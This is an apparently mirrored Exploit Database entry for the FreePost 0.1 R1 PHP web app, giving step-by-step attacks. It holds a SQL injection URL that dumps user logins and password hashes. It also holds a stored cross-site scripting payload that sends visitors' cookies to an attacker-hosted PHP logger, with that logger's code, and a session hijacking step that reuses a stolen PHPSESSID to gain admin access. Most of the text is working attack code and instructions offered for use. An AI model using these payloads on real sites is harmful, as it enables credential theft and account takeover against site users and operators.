freepost 0.1 r1 – Multiple Vulnerabilities

• Exploit Database
• 16 阅读

• 作者： ThE g0bL!N
  日期： 2012-06-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19035/

• #####################################################################################################
  # Exploit FreePost 0.1 R1 SQL Injection
  # Date: June 6nd 2012
  # Author: ThE g0bL!N
  # Version: 0.1 R1
  # Vendor Url: http://www.phpbrasil.com/script/dYRoLbwWu_zR/freepost-01-r1
  # Tested on: Xp Service Pack 2
  #####################################################################################################
  #Greets To : Lider Pirata, Yassine Tablouche , Ilyes , Bilal ,
  Habib,Djamal, Boukhors .. etc
  #####################################################################################################
  
  Exploit:
  --------
   1) You Need To register
   2) http://localhost/freepost0.1-R1/edit.php?action=edit&post=1 [SQL CODE]
   3) /edit.php?action=edit&post=-1+union+select+1,2,3,concat(user_login,0x3a,user_pass),5,6,7+from+b2users--
  
  
  #################################################################################################################
  [+] FreePost 0.1 R1 Cookie Grabber Exploit
  [+] Discovered By ThE g0bL!N
  [+] Greets To : Lider Pirata , Yassine Tablouche , Ilyes , Bilal ,
  Habib, Djamal , Boukhors .. etc
  [+] Vendor:http://www.phpbrasil.com/script/dYRoLbwWu_zR/freepost-01-r1
  #################################################################################################################
  PoC
  --
  [+] Make 2 files and upload to your host :
  [+]cookie.php - > Put in this File That Code:
  <?php
  $cookie = $_GET['cookie'];
  $log = fopen("log.txt", "a");
  fwrite($log, $cookie ."\n");
  fclose($log);
  ?>
  [+]log.txt - > CHMOD it 777 and put in the same directory with cookie.php
  
  [+]Exploit:
  -------
  1)First Register in the site
  2) go to http://site.com/edit.php
  3) add This Code :<script>document.location
  ="http://localhost/[path]/cookie.php?cookie=" +
  document.cookie;</script>
  4) any one open this page engenie.php you gonna still his cookies
  
  Example
  -------
  Result:
  ------
  PHPSESSID:aafaa0f2cad7431d5cec1431e5bafb03
  Then we put that code
  javascript:document.cookie="PHPSESSID=aafaa0f2cad7431d5cec1431e5bafb03;path=/";
  After That you see :
  Hello Admin :)
  ################################################################################################################